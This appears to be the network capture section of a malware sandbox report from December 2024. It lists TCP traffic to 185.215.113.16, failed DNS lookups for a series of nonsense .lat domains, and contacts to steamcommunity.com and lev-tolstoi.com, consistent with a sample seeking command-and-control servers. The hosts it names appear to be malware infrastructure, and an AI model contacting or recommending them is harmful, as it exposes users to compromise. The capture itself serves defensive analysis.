Dec 26, 2024 13:22:47.861342907 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.861392975 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.862360001 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.862399101 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.862454891 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.863234043 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.863507986 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.863571882 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.864475965 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.864573002 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.864614964 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.865510941 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.865631104 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.865688086 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.866308928 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.866432905 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.866487026 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.867465973 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.867578983 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.867630959 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.868544102 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.868585110 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.868630886 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.869524002 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.869535923 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.869582891 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.870840073 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.870922089 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.870959997 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.871731043 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.872028112 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.872075081 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.872836113 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.872991085 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.873034000 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.873866081 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.873959064 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.874006987 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.874948025 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.875053883 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.875097990 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.875809908 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.875860929 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.875901937 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.876652956 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.876741886 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.876782894 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.877546072 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.877605915 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.877651930 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.878319025 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.878474951 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.878519058 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.879122019 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.879201889 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.879251003 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.879905939 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.880011082 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.880059958 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.880656958 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.880708933 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.880750895 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.881304026 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.881375074 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.881417036 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.881987095 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.882067919 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.882108927 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.882714987 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.882941961 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.882987976 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.883450985 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.883507013 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.883548021 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.884330988 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.884464979 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.884531021 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.885286093 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.885449886 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.885493994 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.886430979 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.886537075 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.886584997 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.887243986 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.887340069 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.887386084 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.888181925 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.888294935 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.888338089 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.889151096 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.889205933 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.889270067 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.890286922 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.890403986 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.890445948 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.891048908 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.891144991 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.891191006 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.892000914 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.892117977 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.892163038 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.892981052 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.893039942 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.893088102 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.893937111 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.894011021 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.894052982 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.894915104 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.895054102 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.895123005 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.895807028 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.895997047 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.896038055 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.896789074 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.896902084 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.896946907 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.897744894 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.897842884 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.897886992 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.898925066 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.899008989 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.899049997 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.899693012 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.899709940 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.899755001 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.900620937 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.900728941 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.900769949 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.901551962 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.901627064 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.901668072 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.902611971 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:47.945048094 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:47.949285984 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:48.062984943 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.063014030 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.063083887 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:48.063292027 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.063425064 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.063474894 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:48.064308882 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.064408064 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.064452887 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:48.065256119 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.065295935 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.065344095 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:48.066153049 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.066267967 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.066333055 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:48.067102909 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.067332029 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.067375898 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:48.068098068 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.068200111 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.068243027 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:48.069030046 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.069047928 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.069092035 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:48.069953918 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.070074081 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.070132017 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:48.071033001 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.071161985 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.071212053 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:48.071902037 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.071940899 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.072021008 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:48.072812080 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.072931051 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.072974920 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:48.073816061 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.073947906 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.073992014 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:48.074745893 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.074856997 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.074903965 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:48.075778008 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.075864077 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.075910091 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:48.076653957 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.076757908 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.076823950 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:48.077594995 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.077693939 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:48.077738047 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:57.558876991 CET	49759	443	192.168.2.4	142.250.181.68
Dec 26, 2024 13:22:57.558938980 CET	443	49759	142.250.181.68	192.168.2.4
Dec 26, 2024 13:22:57.559029102 CET	49759	443	192.168.2.4	142.250.181.68
Dec 26, 2024 13:22:57.559437990 CET	49759	443	192.168.2.4	142.250.181.68
Dec 26, 2024 13:22:57.559453964 CET	443	49759	142.250.181.68	192.168.2.4
Dec 26, 2024 13:22:57.773796082 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:59.346257925 CET	443	49759	142.250.181.68	192.168.2.4
Dec 26, 2024 13:22:59.346637964 CET	49759	443	192.168.2.4	142.250.181.68
Dec 26, 2024 13:22:59.346652985 CET	443	49759	142.250.181.68	192.168.2.4
Dec 26, 2024 13:22:59.347551107 CET	443	49759	142.250.181.68	192.168.2.4
Dec 26, 2024 13:22:59.347676039 CET	49759	443	192.168.2.4	142.250.181.68
Dec 26, 2024 13:22:59.348885059 CET	49759	443	192.168.2.4	142.250.181.68
Dec 26, 2024 13:22:59.348937035 CET	443	49759	142.250.181.68	192.168.2.4
Dec 26, 2024 13:22:59.400744915 CET	49759	443	192.168.2.4	142.250.181.68
Dec 26, 2024 13:22:59.400757074 CET	443	49759	142.250.181.68	192.168.2.4
Dec 26, 2024 13:22:59.448451042 CET	49759	443	192.168.2.4	142.250.181.68
Dec 26, 2024 13:23:09.022157907 CET	443	49759	142.250.181.68	192.168.2.4
Dec 26, 2024 13:23:09.022233009 CET	443	49759	142.250.181.68	192.168.2.4
Dec 26, 2024 13:23:09.022319078 CET	49759	443	192.168.2.4	142.250.181.68
Dec 26, 2024 13:23:09.476644993 CET	49759	443	192.168.2.4	142.250.181.68
Dec 26, 2024 13:23:09.476663113 CET	443	49759	142.250.181.68	192.168.2.4
Dec 26, 2024 13:23:57.476362944 CET	49914	443	192.168.2.4	142.250.181.68
Dec 26, 2024 13:23:57.476404905 CET	443	49914	142.250.181.68	192.168.2.4
Dec 26, 2024 13:23:57.476480961 CET	49914	443	192.168.2.4	142.250.181.68
Dec 26, 2024 13:23:57.476753950 CET	49914	443	192.168.2.4	142.250.181.68
Dec 26, 2024 13:23:57.476763010 CET	443	49914	142.250.181.68	192.168.2.4
Dec 26, 2024 13:23:59.257797956 CET	443	49914	142.250.181.68	192.168.2.4
Dec 26, 2024 13:23:59.258136988 CET	49914	443	192.168.2.4	142.250.181.68
Dec 26, 2024 13:23:59.258161068 CET	443	49914	142.250.181.68	192.168.2.4
Dec 26, 2024 13:23:59.258462906 CET	443	49914	142.250.181.68	192.168.2.4
Dec 26, 2024 13:23:59.258723021 CET	49914	443	192.168.2.4	142.250.181.68
Dec 26, 2024 13:23:59.258780003 CET	443	49914	142.250.181.68	192.168.2.4
Dec 26, 2024 13:23:59.302993059 CET	49914	443	192.168.2.4	142.250.181.68
Dec 26, 2024 13:24:08.935148001 CET	443	49914	142.250.181.68	192.168.2.4
Dec 26, 2024 13:24:08.935241938 CET	443	49914	142.250.181.68	192.168.2.4
Dec 26, 2024 13:24:08.935365915 CET	49914	443	192.168.2.4	142.250.181.68
Dec 26, 2024 13:24:10.149401903 CET	49914	443	192.168.2.4	142.250.181.68
Dec 26, 2024 13:24:10.149455070 CET	443	49914	142.250.181.68	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 26, 2024 13:22:13.893266916 CET	50475	53	192.168.2.4	1.1.1.1
Dec 26, 2024 13:22:14.030761003 CET	53	50475	1.1.1.1	192.168.2.4
Dec 26, 2024 13:22:14.034060955 CET	63730	53	192.168.2.4	1.1.1.1
Dec 26, 2024 13:22:14.171542883 CET	53	63730	1.1.1.1	192.168.2.4
Dec 26, 2024 13:22:14.175337076 CET	51044	53	192.168.2.4	1.1.1.1
Dec 26, 2024 13:22:14.314467907 CET	53	51044	1.1.1.1	192.168.2.4
Dec 26, 2024 13:22:14.317636967 CET	61772	53	192.168.2.4	1.1.1.1
Dec 26, 2024 13:22:14.454765081 CET	53	61772	1.1.1.1	192.168.2.4
Dec 26, 2024 13:22:14.458096027 CET	61496	53	192.168.2.4	1.1.1.1
Dec 26, 2024 13:22:14.595292091 CET	53	61496	1.1.1.1	192.168.2.4
Dec 26, 2024 13:22:14.597098112 CET	64124	53	192.168.2.4	1.1.1.1
Dec 26, 2024 13:22:14.734775066 CET	53	64124	1.1.1.1	192.168.2.4
Dec 26, 2024 13:22:14.795574903 CET	61946	53	192.168.2.4	1.1.1.1
Dec 26, 2024 13:22:14.932708025 CET	53	61946	1.1.1.1	192.168.2.4
Dec 26, 2024 13:22:15.007479906 CET	54442	53	192.168.2.4	1.1.1.1
Dec 26, 2024 13:22:15.146207094 CET	53	54442	1.1.1.1	192.168.2.4
Dec 26, 2024 13:22:15.147775888 CET	53582	53	192.168.2.4	1.1.1.1
Dec 26, 2024 13:22:15.285505056 CET	53	53582	1.1.1.1	192.168.2.4
Dec 26, 2024 13:22:15.288839102 CET	55113	53	192.168.2.4	1.1.1.1
Dec 26, 2024 13:22:15.427325964 CET	53	55113	1.1.1.1	192.168.2.4
Dec 26, 2024 13:22:18.015608072 CET	60175	53	192.168.2.4	1.1.1.1
Dec 26, 2024 13:22:18.159959078 CET	53	60175	1.1.1.1	192.168.2.4
Dec 26, 2024 13:22:28.405093908 CET	138	138	192.168.2.4	192.168.2.255
Dec 26, 2024 13:22:53.054281950 CET	53	55054	1.1.1.1	192.168.2.4
Dec 26, 2024 13:22:53.065653086 CET	53	57770	1.1.1.1	192.168.2.4
Dec 26, 2024 13:22:55.952935934 CET	53	62961	1.1.1.1	192.168.2.4
Dec 26, 2024 13:22:57.419024944 CET	57632	53	192.168.2.4	1.1.1.1
Dec 26, 2024 13:22:57.419378996 CET	49291	53	192.168.2.4	1.1.1.1
Dec 26, 2024 13:22:57.556112051 CET	53	57632	1.1.1.1	192.168.2.4
Dec 26, 2024 13:22:57.557558060 CET	53	49291	1.1.1.1	192.168.2.4
Dec 26, 2024 13:22:59.785629988 CET	55638	53	192.168.2.4	1.1.1.1
Dec 26, 2024 13:22:59.785804033 CET	64539	53	192.168.2.4	1.1.1.1
Dec 26, 2024 13:23:07.868513107 CET	53	59887	1.1.1.1	192.168.2.4
Dec 26, 2024 13:23:09.763655901 CET	50019	53	192.168.2.4	1.1.1.1
Dec 26, 2024 13:23:09.763861895 CET	56173	53	192.168.2.4	1.1.1.1
Dec 26, 2024 13:23:12.954909086 CET	53	53403	1.1.1.1	192.168.2.4
Dec 26, 2024 13:23:31.709443092 CET	53	53634	1.1.1.1	192.168.2.4
Dec 26, 2024 13:23:52.951076984 CET	53	49545	1.1.1.1	192.168.2.4
Dec 26, 2024 13:23:54.676501989 CET	53	52397	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 26, 2024 13:22:13.893266916 CET	192.168.2.4	1.1.1.1	0x337	Standard query (0)	observerfry.lat	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:14.034060955 CET	192.168.2.4	1.1.1.1	0x4273	Standard query (0)	wordyfindy.lat	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:14.175337076 CET	192.168.2.4	1.1.1.1	0x99ad	Standard query (0)	slipperyloo.lat	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:14.317636967 CET	192.168.2.4	1.1.1.1	0x6121	Standard query (0)	manyrestro.lat	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:14.458096027 CET	192.168.2.4	1.1.1.1	0xcb33	Standard query (0)	shapestickyr.lat	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:14.597098112 CET	192.168.2.4	1.1.1.1	0x358d	Standard query (0)	talkynicer.lat	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:14.795574903 CET	192.168.2.4	1.1.1.1	0xb781	Standard query (0)	curverpluch.lat	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:15.007479906 CET	192.168.2.4	1.1.1.1	0x9352	Standard query (0)	tentabatte.lat	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:15.147775888 CET	192.168.2.4	1.1.1.1	0x96f1	Standard query (0)	bashfulacid.lat	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:15.288839102 CET	192.168.2.4	1.1.1.1	0xfa42	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:18.015608072 CET	192.168.2.4	1.1.1.1	0x41bd	Standard query (0)	lev-tolstoi.com	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:57.419024944 CET	192.168.2.4	1.1.1.1	0x81a2	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:57.419378996 CET	192.168.2.4	1.1.1.1	0x4803	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 26, 2024 13:22:59.785629988 CET	192.168.2.4	1.1.1.1	0xd196	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:59.785804033 CET	192.168.2.4	1.1.1.1	0xc1e5	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 26, 2024 13:23:09.763655901 CET	192.168.2.4	1.1.1.1	0x8671	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:23:09.763861895 CET	192.168.2.4	1.1.1.1	0x8edc	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 26, 2024 13:22:14.030761003 CET	1.1.1.1	192.168.2.4	0x337	Name error (3)	observerfry.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:14.171542883 CET	1.1.1.1	192.168.2.4	0x4273	Name error (3)	wordyfindy.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:14.314467907 CET	1.1.1.1	192.168.2.4	0x99ad	Name error (3)	slipperyloo.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:14.454765081 CET	1.1.1.1	192.168.2.4	0x6121	Name error (3)	manyrestro.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:14.595292091 CET	1.1.1.1	192.168.2.4	0xcb33	Name error (3)	shapestickyr.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:14.734775066 CET	1.1.1.1	192.168.2.4	0x358d	Name error (3)	talkynicer.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:14.932708025 CET	1.1.1.1	192.168.2.4	0xb781	Name error (3)	curverpluch.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:15.146207094 CET	1.1.1.1	192.168.2.4	0x9352	Name error (3)	tentabatte.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:15.285505056 CET	1.1.1.1	192.168.2.4	0x96f1	Name error (3)	bashfulacid.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:15.427325964 CET	1.1.1.1	192.168.2.4	0xfa42	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:18.159959078 CET	1.1.1.1	192.168.2.4	0x41bd	No error (0)	lev-tolstoi.com		104.21.66.86	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:18.159959078 CET	1.1.1.1	192.168.2.4	0x41bd	No error (0)	lev-tolstoi.com		172.67.157.254	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:57.556112051 CET	1.1.1.1	192.168.2.4	0x81a2	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:57.557558060 CET	1.1.1.1	192.168.2.4	0x4803	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 26, 2024 13:22:59.922916889 CET	1.1.1.1	192.168.2.4	0xd196	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 13:22:59.922916889 CET	1.1.1.1	192.168.2.4	0xd196	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 13:22:59.922916889 CET	1.1.1.1	192.168.2.4	0xd196	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 13:22:59.922916889 CET	1.1.1.1	192.168.2.4	0xd196	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:22:59.923221111 CET	1.1.1.1	192.168.2.4	0xc1e5	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 13:22:59.923221111 CET	1.1.1.1	192.168.2.4	0xc1e5	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 13:23:00.109987020 CET	1.1.1.1	192.168.2.4	0xf638	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
